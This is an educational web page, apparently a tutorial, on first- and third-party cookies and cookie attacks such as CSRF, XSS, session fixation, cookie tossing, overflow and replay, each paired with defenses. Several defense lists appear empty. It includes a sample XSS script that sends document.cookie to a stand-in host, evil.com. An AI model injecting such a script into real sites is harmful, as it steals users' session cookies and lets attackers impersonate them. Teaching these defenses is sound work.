🎯 Storage Adventures
A first-party cookie is a cookie set by the website you are currently visiting.
It matches the domain shown in the browser's address bar. For example, if you visit
example.com, any cookie set by example.com is a first-party cookie.
These cookies are used for essential features like keeping you logged in, remembering your preferences,
and storing items in a shopping cart. Browsers generally trust first-party cookies and allow them by default.
A third-party cookie is a cookie set by a domain different from the one you are visiting.
For example, if example.com embeds an ad from ads.tracker.com, and that ad sets a cookie,
it is a third-party cookie. These cookies are commonly used for cross-site tracking, ad targeting, and analytics.
Because they can follow users across multiple websites, third-party cookies raise significant privacy concerns.
Modern browsers are increasingly blocking or restricting third-party cookies by default
(e.g., Safari, Firefox, and Chrome's planned phase-out).
CSRF is an attack where a malicious website tricks a user's browser into making an unwanted request
to another site where the user is authenticated. Because browsers automatically attach cookies to requests,
the target site believes the request is legitimate. For example, a hidden form on evil.com could
submit a POST request to bank.com/transfer — and if the user is logged into their bank,
the request would include their session cookie automatically.
Key defenses against CSRF:
SameSite=Lax or SameSite=Strict
prevents the browser from sending the cookie with cross-site requests.
In an XSS attack, an attacker injects malicious JavaScript into a trusted website.
The script runs in the victim's browser and can access cookies via document.cookie,
then send them to an attacker-controlled server. Once the attacker has the session cookie,
they can impersonate the victim.
Example malicious script:
<script>
new Image().src = "https://evil.com/steal?cookie=" + document.cookie;
</script>Key defenses:
document.cookie.Session hijacking occurs when an attacker obtains a valid session cookie and uses it to impersonate the user. This can happen through network sniffing (on unencrypted HTTP connections), XSS attacks, or malware. Once the attacker has the session ID, the server cannot distinguish between the legitimate user and the attacker.
Key defenses:
In a session fixation attack, the attacker sets a known session ID in the victim's browser
before the victim logs in. After the victim authenticates, the attacker already knows the session ID
and can use it to access the authenticated session. For example, the attacker could send a link like
https://site.com/login?sessionid=abc123.
Key defenses:
Cookie tossing exploits the way browsers handle cookies across subdomains.
An attacker controlling a subdomain (e.g., evil.sub.example.com) can set a cookie
for the parent domain (.example.com). This cookie then gets sent to the main application
at www.example.com, potentially overriding legitimate cookies and hijacking sessions
or injecting malicious values.
Key defenses:
__Host- prefix which requires the cookie to be Secure,
have no Domain attribute, and Path set to / — preventing subdomain overrides.Browsers limit the number of cookies per domain (typically ~50) and total cookie size (~4KB each). In a cookie overflow attack, the attacker forces the browser to create many cookies, pushing out legitimate cookies (like session cookies). This can force a user to be logged out or fall back to weaker authentication, which the attacker can then exploit.
Key defenses:
__Host- prefix: These cookies are harder to evict via subdomain manipulation.A cookie replay attack involves capturing a valid cookie (e.g., via network sniffing or logs) and re-sending it later to gain unauthorized access. Even after the user logs out, if the server doesn't properly invalidate the session, the old cookie may still work.
Key defenses: